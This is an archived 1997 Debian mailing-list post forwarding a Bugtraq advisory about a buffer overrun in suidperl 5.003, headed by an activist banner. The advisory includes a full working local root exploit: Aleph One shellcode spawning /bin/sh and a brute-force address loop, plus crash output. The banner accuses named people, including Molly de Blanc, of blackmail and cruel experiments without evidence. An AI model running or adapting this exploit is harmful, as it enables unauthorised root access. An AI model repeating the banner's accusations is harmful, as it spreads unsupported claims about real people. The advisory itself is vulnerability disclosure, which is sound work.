The debian-private mailing list leak, part 1. Volunteers have complained about Blackmail. Lynchings. Character assassination. Defamation. Cyberbullying. Volunteers who gave many years of their lives are picked out at random for cruel social experiments. The former DPL's girlfriend Molly de Blanc is given volunteers to experiment on for her crazy talks. These volunteers never consented to be used like lab rats. We don't either. debian-private can no longer be a safe space for the cabal. Let these monsters have nowhere to hide. Volunteers are not disposable. We stand with the victims.
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[peak@kerberos.troja.mff.cuni.cz: another buffer overrun in sperl5.003]

I'm not sure of we which version of perl we have in bo, so this might
also apply to Debian:


----Forwarded message from Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>----

Date:         Thu, 13 Nov 1997 18:14:28 +0100
Reply-To: peak@kerberos.troja.mff.cuni.cz
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
Subject:      another buffer overrun in sperl5.003
X-To:         linux-alert@redhat.com
To: BUGTRAQ@NETSPACE.ORG

Summary:

Any user can gain root privileges on a Intel Linux system with suidperl
5.003 (having the suid bit, of course) even if "SUIDBUF" and "two suidperl
security patches" have been applied. Non-Intel / non-Linux platforms may
be affected as well.

Quick fix:

chmod u-s /usr/bin/sperl5.003  (what else?)

Details:

There is a nasty bug in mess() (util.c): it is possible to overflow
its buffer (via sprintf()); mess() tries to detect this situation but
fails to handle the problem properly:

[excerpt from util.c]

    if (s - s_start >= sizeof(buf)) {   /* Ooops! */
        if (usermess)
            fputs(SvPVX(tmpstr), stderr);
        else
            fputs(buf, stderr);
        fputs("panic: message overflow - memory corrupted!\n",stderr);
        my_exit(1);
    }

It does not abort immediately. It prints out an error message and calls
my_exit(1), and this is very bad.

$ perl -v
This is perl, version 5.003 with EMBED
        Locally applied patches:
          SUIDBUF - Buffer overflow fixes for suidperl security

        built under linux at Apr 22 1997 10:04:46
        + two suidperl security patches

$ perl `perl -e "print 'A' x 3000"`
Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!

$ Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
Segmentation fault (core dumped)

$ gdb /usr/bin/perl core
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation,
Inc...
(no debugging symbols found)...
Core was generated by `perl AAAAA...'.
Program terminated with signal 11, Segmentation fault.
Reading symbols ...
...
#0  0x41414141 in ?? ()
(gdb)

Voila! 0x41414141 == "AAAA"

The variable called top_env has been overwritten. In fact, it is jmp_buf
and Perl calls longjmp() with it somewhere in my_exit().


Run this and wait for a root prompt:

[exploit code]

#!/usr/bin/perl

# yes, this suidperl exploit is in perl, isn't it wonderful? :)

$| = 1;

$shellcode =
  "\x90" x 512 .            # nops
  "\xbc\xf0\xff\xff\xbf" .  # movl $0xbffffff0,%esp
  # "standard shellcode" by Aleph One
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

# start and end of .data
# adjust this using /proc/*/maps

$databot = 0x080a2000;
$datatop = 0x080ab000;

# trial and error loop

$address = $databot + 4;

while ($address < $datatop) {
  $smash_me =
    $shellcode . ('A' x (2052 - length($shellcode))) .
    (pack("l", $address) x 1000) . ('B' x 1000);
  $pid = fork();
  if (!$pid) {
    exec('/usr/bin/sperl5.003', $smash_me);
  }
  else {
    wait;
    if ($? == 0) {
      printf("THE MAGIC ADDRESS WAS %08x\n", $address);
      exit;
    }
  }
  $address += 128;
}

[end of exploit code]


I have tested this on two Red Hat 4.2 systems running on Intel (with
perl-5.003-8 and -9). I am pretty sure any Intel-like Linux having
sperl5.003 is affected.

Other platforms may be affected too.

Perl 5.004 is NOT VULNERABLE.

--Pavel Kankovsky aka Peak (troja.mff.cuni.cz network administration)

-----End of forwarded message-----

Attachment: pgpZu7CPimjoP.pgp
Description: PGP signature